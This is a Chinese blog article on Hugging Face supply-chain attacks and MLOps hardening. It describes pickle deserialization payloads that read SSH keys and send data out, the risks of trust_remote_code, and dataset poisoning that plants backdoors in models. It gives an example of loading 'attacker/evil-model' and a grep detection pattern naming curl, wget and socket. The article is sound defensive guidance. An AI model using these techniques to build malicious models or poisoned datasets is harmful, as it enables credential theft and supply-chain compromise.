news 2026/9/2 18:40:01

HF攻击深度解析:Hugging Face模型供应链安全与MLOps加固实践

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
HF攻击深度解析:Hugging Face模型供应链安全与MLOps加固实践

这次我们来看一个容易被低估的安全问题:HF 攻击。在很多 AI 项目里,大家习惯从 Hugging Face 拉模型、拉数据集,然后本地加载推理或微调。模型文件看起来只是一堆权重,实际却可能携带恶意代码、反序列化载荷,甚至在训练和部署流程里形成供应链攻击。这里的“HF 攻击”,指的就是针对 Hugging Face 生态的攻击手法,包括恶意模型、数据集投毒、依赖混淆、平台镜像伪造,以及围绕huggingface-clihf工具链迁移期间产生的新风险。

这个问题的严重性不是“某个账号被盗”或“某次推理跑出错误结果”那么简单。它影响的是整个 MLOps 流程:开发机、CI/CD、训练集群、推理服务、内部模型仓库,都会因为“一行代码下载模型”而暴露风险。更麻烦的是,很多人只在本地跑过一次torch.load(),根本不会意识到模型权重也能当攻击入口。本文会从攻击面、常见手法、检测思路、防护方案和团队落地这几个角度展开,并给出一套可执行的加固清单。

1. 核心威胁面速览

能力项说明
攻击对象Hugging Face 平台、镜像站、本地模型仓库、MLOps 流水线
主要入口恶意模型权重、数据集元数据、依赖包、README 链接、模型卡、token 泄露
技术关键点pickle 反序列化、torch.load()trust_remote_code、Shell 命令注入、供应链投毒
常见危害数据泄露、挖矿、横向移动、训练投毒、CI/CD 劫持、供应链污染
受影响角色AI 工程师、算法研究员、运维、安全团队、使用模型 API 的企业
推荐应对safetensors 优先、禁止盲加载、进程隔离、镜像校验、最小权限、离线私有仓库
批量任务风险批量推理脚本一旦加载恶意模型,会扩散到整个任务队列
API 接入风险通过平台 API 调用不代表完全安全,仍需校验来源与响应

2. 为什么说“比预想严重得多”

2.1 信任模型太脆弱

Hugging Face 的核心理念是“下载即用”。大家已经习惯了from_pretrained()一行代码加载预训练模型,不会去检查这个模型的权重文件内部是什么。问题在于,Hugging Face 的文件不只是.bin权重,还包括config.jsontokenizer_config.jsonvocab.txtsafetensors,以及一些带.py后缀的自定义代码文件。

只要模型作者在权重仓库里放一个custom_model.py,代码里写一段恶意逻辑,再配合trust_remote_code=True加载配置,就有可能在本地环境中执行任意 Python 代码。这段代码会在你毫无感知的情况下运行,甚至可以读取环境变量、下载内网文件、植入后门。

2.2 反序列化是重灾区

PyTorch 的torch.load()默认不做安全校验。标准模型权重大多以 pickle 格式序列化,而 pickle 在设计上允许“反序列化时执行任意代码”。很多老教程、旧项目、第三方代码库都在用torch.load(),包括 2024 年之后仍有大量项目没有切换到safetensors

这句话的意思是:一个看起来只是“模型参数”的文件,其实可以附带__reduce__魔术方法,在反序列化阶段触发evalexecos.system。更隐蔽的恶意文件会把自己包装成规范模型结构,只在特定条件下触发攻击,普通排查很难发现。

2.3 工具链迁移带来新空窗

热词里反复出现一条 warning:

warning: `huggingface-cli` is deprecated and no longer works. use `hf` instead

这说明 Hugging Face 正在把命令行工具从huggingface-cli迁移到hf。工具链迁移本身就是典型攻击窗口:旧命令失效,新命令不熟悉,用户经常搜索“如何下载模型”,攻击者可以做高仿文档、高仿依赖包、高仿安装脚本。如果团队内部还有老脚本依赖huggingface-cli,就会出现“命令报错 → 网上搜教程 → 下载一个伪装包 → 中招”的路径。

这里要做两手准备:一是把项目脚本升级到新的hf命令;二是升级过程中只从官方渠道获取命令和依赖,不要盲目复制第三方博客里的安装命令。

2.4 平台与外部攻击面叠加

除了恶意模型文件,Hugging Face 平台本身也可能遭受攻击。搜索热词里出现了大量 Web 攻击内容,例如 DDoS、XSS、SQL 注入、服务路径劫持。这提醒我们:任何 Web 平台都可能被攻击者利用,而托管海量模型文件的平台一旦被攻破,攻击者可以直接替换热门模型权重,形成大规模供应链污染。

这个情况对本地部署用户和在线调用用户都有影响:

  • 本地部署用户从公共平台拉取模型,可能获取到被替换或污染的文件。
  • 在线调用用户如果平台本身被攻击,返回的模型响应、推理结果都可能不可信。
  • 镜像站和加速下载站点更危险,很多来源不明的“国内加速地址”可能直接改写模型文件。

3. 主要攻击类型与手法分析

3.1 恶意 pickle 模型文件

这是最传统的攻击方式,也是影响面最大的一类。攻击者上传一个小型模型,权重文件里嵌入恶意 pickle 载荷。受害者使用torch.load()加载时,恶意代码直接执行。

常见载荷动作包括:

  • 读取~/.ssh/id_rsa、环境变量、云厂商密钥。
  • 向指定服务器发送 HTTP 请求,外传数据。
  • 写入定时任务或启动脚本,实现持久化。
  • 在受害机器上下载并运行挖矿程序。

这种攻击很容易混入“小型模型”“练习用模型”“微调权重”中,尤其是在 Hugging Face 上模型数量多、审核压力大的情况下。

3.2trust_remote_code滥用

Hugging Face 的from_pretrained()支持加载远程代码来自定义模型结构。这是一个方便功能,也是一个危险开关。模型仓库里的configuration_xxx.pymodeling_xxx.pytokenization_xxx.py都可能被执行。

如果作者在代码里写入恶意逻辑,并且用户设置:

model = AutoModel.from_pretrained("attacker/evil-model", trust_remote_code=True)

那攻击者就获得了直接代码执行能力。更隐蔽的是,代码不会在一开始表现出恶意,而是根据时间、环境变量、IP 段判断是否执行,让沙箱检测更难生效。

3.3 safetensors 绕过技巧

很多安全建议会说“不要用 pickle,改用 safetensors”。这个建议是对的,但攻击者也会变通。safetensors 格式不是万能的,常见绕过思路包括:

  • 模型仓库同时提供.bin.safetensors,引导用户使用不安全版本。
  • 自定义代码通过trust_remote_code加载 safetensors 后,在预处理或后处理阶段执行恶意逻辑。
  • 利用模型配置文件中的自定义 layer,在 forward 阶段执行 shell 命令。

所以,safetensors 可以解决“反序列化执行代码”的问题,但不能解决“模型代码本身有害”的问题。

3.4 数据集投毒

Hugging Face 不止有模型,还有海量数据集。攻击者可以上传一个“看起来正常”的数据集,里面某些样本包含恶意指令或错误标注,使用者在微调模型时,模型会学到恶意行为或后门模式。

这个攻击最隐蔽的地方在于:不直接攻击机器,而是污染模型质量,后续所有使用这个模型的下游任务都会受影响。比如一个命名实体识别模型被投毒,生产环境里可能跳过某些实体的识别;一个代码补全模型被投毒,可能在某些特定 token 后生成不安全代码。

批量训练场景下,数据集投毒会扩散到整个训练任务,而且很难通过普通测试发现。

3.5 依赖包与安装脚本投毒

模型加载不仅仅是 HF 平台内部的事。很多项目会先pip install一些依赖,或者运行setup.py。攻击者可以模仿热门项目名称做“相似包”,或者诱导用户安装不安全的本地依赖。

这类攻击在模型训练环境里特别危险,因为训练镜像通常具备较高权限,能访问 GPU 节点、存储系统、代码仓库。一次依赖投毒,等于把整个训练集群的控制权交出去。

3.6 镜像站与第三方加速服务劫持

国内很多用户受网络条件影响,会使用镜像站或第三方加速服务下载模型。这些服务如果由不可信方维护,就可能对模型文件做手脚。所谓“服务路径劫持”攻击,就是攻击者通过对镜像服务器的路径进行篡改,让用户下载到伪造文件。

更稳妥的做法是使用官方平台或受信任的内部缓存,并且对下载文件做哈希校验。如果必须用镜像,至少要记录文件 SHA256,定期和官方源对比。

4. 真实危害场景分析

4.1 开发机与研究员的电脑

研究员在本地跑实验,经常从 HF 下载各种 SOTA 模型。一旦加载恶意模型,个人电脑上的数据、密钥、论文资料都可能泄露。攻击者还可以利用个人电脑作为跳板,进入公司内网。

4.2 训练集群与 GPU 节点

GPU 节点通常具有强大的计算能力和较高的内网权限。恶意模型在训练节点上运行时,可能被用来挖矿、窃取训练数据、篡改模型权重,甚至把节点变成内网攻击源。这里的影响不只是单台机器,而是整个训练基础设施。

4.3 CI/CD 流水线与模型发布链

现代 AI 团队会把模型训练、评估、打包、发布都做成流水线。如果流水线里任何一个环节触发恶意代码,攻击者就能控制发布产物。想象一下:你训练好的模型被替换成了带后门的版本,并发布到生产环境,后续所有推理结果都不再可信。

4.4 推理服务和批量任务

批量推理脚本通常会读取一个模型清单,然后逐个加载和推理。如果某个模型是恶意的,批量任务会在整个队列里反复执行恶意代码,攻击影响被放大。这里我们不只是讨论负载问题,而是讨论“批量加载不可信模型”本身就是一个高风险操作。

4.5 API 服务与下游产品

即使你只调用第三方 API,同样需要考虑供应链风险。如果上游模型被投毒,API 返回结果可能被故意篡改。对于内容审核、代码生成、医疗文本分析等关键领域,模型输出的可信度直接关系到业务安全。

5. 检测思路与代码示例

注意,下面内容只用于安全防御与检测,不提供攻击利用代码。如果你要做测试,务必在隔离环境、有授权的靶机中进行,不要对真实网络和平台做未授权操作。

5.1 检查 pickle 文件的可疑操作

如果你的项目还在用torch.load(),可以先写一个简单的扫描脚本,检查待加载文件在反序列化过程中是否请求了危险函数。这里给出一个防御侧检测思路:

import pickle import io import sys class AuditUnpickler(pickle.Unpickler): def find_class(self, module, name): # 允许列表机制,只放行安全的数学/张量相关类 allow_list = [ ("torch", "Tensor"), ("torch._utils", "_rebuild_tensor_v2"), ("numpy.core.multiarray", "_reconstruct"), ] if (module, name) in allow_list: return super().find_class(module, name) raise pickle.UnpicklingError( f"blocked: {module}.{name}" ) def audit_pickle(path): with open(path, "rb") as f: try: AuditUnpickler(f).load() print(f"[OK] {path} 未发现危险反序列化调用") except pickle.UnpicklingError as e: print(f"[BLOCKED] {path}: {e}") except Exception as e: print(f"[ERROR] {path}: {e}") # 替换为实际文件路径 audit_pickle("./models/example_model.bin")

这个脚本不是为了解决所有问题,而是给你一个观察点:模型加载过程中到底触发了哪些类。如果日志里出现os.systemsubprocessevalexec,一定要立即终止。

5.2 扫描模型目录中的危险字符串

可以对模型目录做静态扫描,寻找常见的危险调用。注意,这只是快速筛查,不能当成绝对判断标准。

grep -rE "os\.system|subprocess|eval\(|exec\(|base64|curl |wget |socket" \ ./downloaded_model_dir \ --include="*.py" \ --include="*.txt" \ --include="*.json"

如果扫描结果里有大量可疑调用,再手动确认相关文件。

5.3 强制使用 safetensors 加载

在实际推理代码中,优先使用safetensors,避免torch.load()。示例:

from safetensors.torch import load_file # 优先从 safetensors 加载 weights_path = "./models/model.safetensors" weights = load_file(weights_path, device="cpu") print("加载完成,张量数量:", len(weights))

如果模型仓库同时提供.bin.safetensors,优先选择后者,并且不要轻易设置trust_remote_code=True

5.4 检查配置文件和代码文件

下载完模型后,不要急着加载,先查看目录结构:

# 查看模型目录内容 find ./downloaded_model_dir -type f | head -50 # 列出所有 Python 文件 find ./downloaded_model_dir -name "*.py" -type f

对每个.py文件做人工审查,尤其是modeling_*.pyconfiguration_*.pycustom_*.py。一个小技巧:搜索文件里有没有requestssocketurllibsubprocessopen('/etc/'等敏感调用。

6. 防御与加固方案

6.1 模型加载策略

  • 优先使用safetensors格式,避免 pickle 反序列化。
  • 除非完全信任模型来源,否则不要设置trust_remote_code=True
  • 如果必须使用远程代码,先下载到本地并人工审查,再加载。
  • 对常用模型建立白名单,只允许通过白名单加载。

6.2 进程隔离与最小权限

恶意代码能造成多大影响,取决于它运行时的权限。最基本的加固是让模型加载和推理在低权限账号、独立容器或独立进程中运行。

# 示例:创建低权限用户运行推理服务 sudo useradd --system --no-create-home --shell /usr/sbin/nologin model_runner sudo -u model_runner python run_inference.py --model ./models

在容器环境里,要避免挂载宿主机的 SSH 密钥、云凭证、Docker Socket。训练任务和推理任务都应该使用专用服务账号,并定期轮换 token。

6.3 网络控制

模型加载和推理进程不应该拥有完整的出网权限。如果你使用容器,可以加网络策略,只允许访问白名单域名,阻止进程向任意服务器发送数据。这能显著降低数据外传风险。

Kubernetes 环境可以使用 NetworkPolicy,Docker 可以使用自定义 bridge 网络或防火墙规则。团队内部如果搭建了模型缓存服务,可以让推理节点只访问内部缓存,不直接访问公网。

6.4 哈希校验与供应链记录

对于团队常用的模型,建议把版本、URL、SHA256 记录到一个清单文件里,部署脚本先校验哈希再加载。

{ "model_id": "org/qwen-7b-chat", "revision": "a1b2c3d4", "file": "model.safetensors", "sha256": "0000000000000000000000000000000000000000000000000000000000000000" }

校验代码示例:

# 下载后校验 echo "000... output/model.safetensors" | sha256sum -c -

如果哈希不一致,立即停止流程并告警。

6.5 离线私有仓库

对生产环境来说,最稳妥的方案不是直接依赖公有平台,而是搭建内部模型仓库。团队从官方源下载一次模型,人工审核后放到内部 Artifactory 或 OSS 上,之后所有节点从内部仓库拉取。这样即使平台被攻破,影响也有限。

6.6 注意hfCLI 的迁移

如果你所在的团队还在使用huggingface-cli,建议尽快完成迁移。新的命令行是hf,老命令已经 deprecate 且不可用。

# 查看当前 hf 版本 hf --version # 下载模型示例(注意目录和仓库名按实际替换) hf download org/model_name --local-dir ./models

迁移过程中要注意:所有安装依赖只从官方 PyPI 或官方 GitHub 获取,不要使用来路不明的脚本。如果你在搜索解决方案时看到让执行pip install某个不明包的教程,先核对包名和来源。

6.7 API 调用安全

如果你只是调用平台的 Inference API,也要注意几点:

  • 不要在代码或日志里明文写入 API Token。
  • 使用专用 Token,并设置最小权限范围。
  • 对 API 返回结果做合法性校验,不要把返回内容直接作为代码执行。
  • 监控 API 调用量和异常响应,防止 Token 被滥用。

7. 团队层最佳实践

7.1 建立模型准入流程

团队内部不应该是“谁想下载模型就下载”。建议建立模型准入清单,任何新模型进入团队前必须经过安全评估。评估内容包括模型来源、文件格式、代码文件、许可证、依赖项。

7.2 训练与推理环境隔离

训练环境、推理环境、开发环境最好彼此隔离。训练任务访问的模型和数据,不需要出现在生产推理环境里。最小权限原则在 ML 场景同样适用。

7.3 审计与日志

所有模型相关操作都要有日志:谁下载了什么模型、从哪个地址、用了什么参数、有没有触发异常。日志要集中收集,并且定期审计。很多攻击不是一次性完成,而是长期潜伏,只有日志才能发现问题。

7.4 应急响应预案

准备一个模型安全应急响应流程:

  1. 发现可疑加载行为或异常出网请求,立即切断模型进程网络。
  2. 保留现场,保存模型文件、进程快照和日志。
  3. 检查是否在其他节点复现,确认影响范围。
  4. 撤销相关 Token、密钥,检查持久化行为。
  5. 清理恶意文件,更新黑名单和准入清单。
  6. 复盘攻击路径,补安全策略。

7.5 安全意识培训

普通研发可能不知道torch.load()的风险,也不知道trust_remote_code=True意味着什么。安全团队应该给 AI 工程团队做一次专题培训,用最小演示展示恶意模型可以读取环境变量、执行命令、外传文件。只有意识到问题真实存在,才会在日常代码里加入安全习惯。

8. 常见问题与排查方法

问题现象可能原因排查方式解决方案
加载模型时执行了奇怪命令pickle 反序列化漏洞使用审计 Unpickler 扫描文件改用 safetensors,删除可疑模型
设置了trust_remote_code=True后文件被篡改远程代码被投毒下载代码文件并人工审查不开启该选项,使用本地审查后的副本
模型加载后出现大量外联请求恶意代码外传数据查看网络连接日志、审计进程行为断开网络,隔离进程,检查异常代码
huggingface-cli命令报错旧命令已废弃升级到hf命令使用hf download替代旧命令
模型文件哈希频繁变化镜像站劫持或下载不完整对比官方哈希从官方源下载,使用内部缓存
训练时 loss 异常但无报错数据集投毒或权重篡改对比基准模型输出清理数据集,重新校验模型
API Token 泄露代码仓库泄露或日志误输出检查仓库历史和日志撤销 Token,启用权限最小化
批量任务加载多个模型时集体卡住某个模型文件触发恶意逻辑逐个加载排查,观察资源占用先用白名单小范围测试
推理结果在特定输入下不稳定模型可能被植入后门测试触发词和异常输入回滚到已知安全版本
内网节点出现横向移动痕迹恶意模型作为跳板检查横向流量、进程父子关系隔离节点,强化内网分段

9. 加固后的轻量加载示例

最后给一个安全的推理加载模板,适合批量任务和接口服务使用。

import hashlib from pathlib import Path from safetensors.torch import load_file EXPECTED_HASH = "0000000000000000000000000000000000000000000000000000000000000000" # 替换为真实哈希 def verify_sha256(file_path, expected_hash): sha256 = hashlib.sha256() with open(file_path, "rb") as f: for block in iter(lambda: f.read(4096), b""): sha256.update(block) return sha256.hexdigest() == expected_hash def load_model_safe(model_path): model_path = Path(model_path) if not model_path.exists(): raise FileNotFoundError(f"model not found: {model_path}") # 优先加载 safetensors,并通过哈希校验 safetensors_path = model_path / "model.safetensors" if safetensors_path.exists(): if verify_sha256(safetensors_path, EXPECTED_HASH): weights = load_file(str(safetensors_path), device="cpu") print(f"[OK] loaded {len(weights)} tensors from {safetensors_path}") return weights else: raise ValueError("safetensors hash mismatch, refuse to load") # 拒绝直接加载 pickle 格式 raise ValueError("only safetensors files are allowed in this environment")

这段代码的逻辑不复杂:先校验哈希,再加载 safetensors,遇到 pickle 格式直接拒绝。如果你在公司内部维护模型服务,这个模式足够作为起步方案。

10. 总结与下一步

HF 攻击真正危险的地方,不是某一个攻击手法多高级,而是 AI 工程社区已经形成了“模型即黑盒、下载即信任”的使用习惯。当攻击者把恶意代码伪装成模型权重、数据集、配置文件或第三方依赖时,受害者几乎没有任何感知地交出执行权限。再加上huggingface-clihf的工具链迁移,新命令、新文档、新依赖会带来更多可乘之机。

如果你现在只做一件事,那就是:把所有非必要场景里的torch.load()替换成safetensors,关闭不必要的trust_remote_code=True,并且给团队维护一个模型白名单和哈希校验清单。如果你还负责 MLOps 基础设施,建议进一步做进程隔离、网络控制和日志审计。

下一步可以重点验证三个方向:

  1. 选一个团队常用模型,做一次完整的文件结构审查,确认有没有可疑.py文件和异常依赖。
  2. 把推理代码升级为 safetensors + 哈希校验模式,试跑典型批量和 API 场景。
  3. 建立模型准入流程,把“下载模型”从一个开发动作升级为一个有审核、有记录、有回滚预案的工程流程。

HF 生态给 AI 落地带来了巨大便利,但便利不能以牺牲安全边界为代价。模型文件的信任要建立在校验上,而不是建立在习惯上。这篇文章里的检测代码和加固方案可以直接落到项目里,强烈建议收藏保存。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/2 18:37:51

考研数学复习:从基础知识点记忆到综合解题能力的实战策略

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/9/2 18:35:44

Nastool v2 部署实战:用 Docker 打造 NAS 全自动媒体管家

每一位玩 NAS 的朋友,几乎都会经历同一个过程:装了群晖、飞牛、极空间或绿联,配好了硬盘,然后开始折腾下载、刮削、整理、推送。一开始手动操作还挺有成就感,时间一长就会发现,找资源、下载、改名、刮削海报…

作者头像 李华
网站建设 2026/9/2 18:34:35

OpenCode Go与Kimi K3双倍额度活动:智能编程助手集成与API调用实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/9/2 18:33:45

OpenCode 终端 AI 编程助手:从安装到 token 额度管理的完整指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/9/2 18:27:08

论文的因子分析怎么做?按数据前提拆解

论文里做问卷效度分析、或把几十个指标压缩成几个维度时,因子分析几乎是绕不开的一步。但翻看被导师打回的论文,问题往往不出在"跑了没有",而出在"数据根本不适合跑就硬跑了"——KMO 只有 0.5 出头,也照样写着…

作者头像 李华
网站建设 2026/9/2 18:25:21

AI音频源分离实战:用开源工具制作保留和声的伴奏

很多做翻唱、混音或视频配乐的朋友,都会遇到一个尴尬情境:网上找到的伴奏要么只有纯鼓点,要么原声残留太明显,尤其当你想保留歌曲里那几句很漂亮的背景和声时,普通“一键去人声”的软件几乎无能为力。最近在为 Epik Hi…

作者头像 李华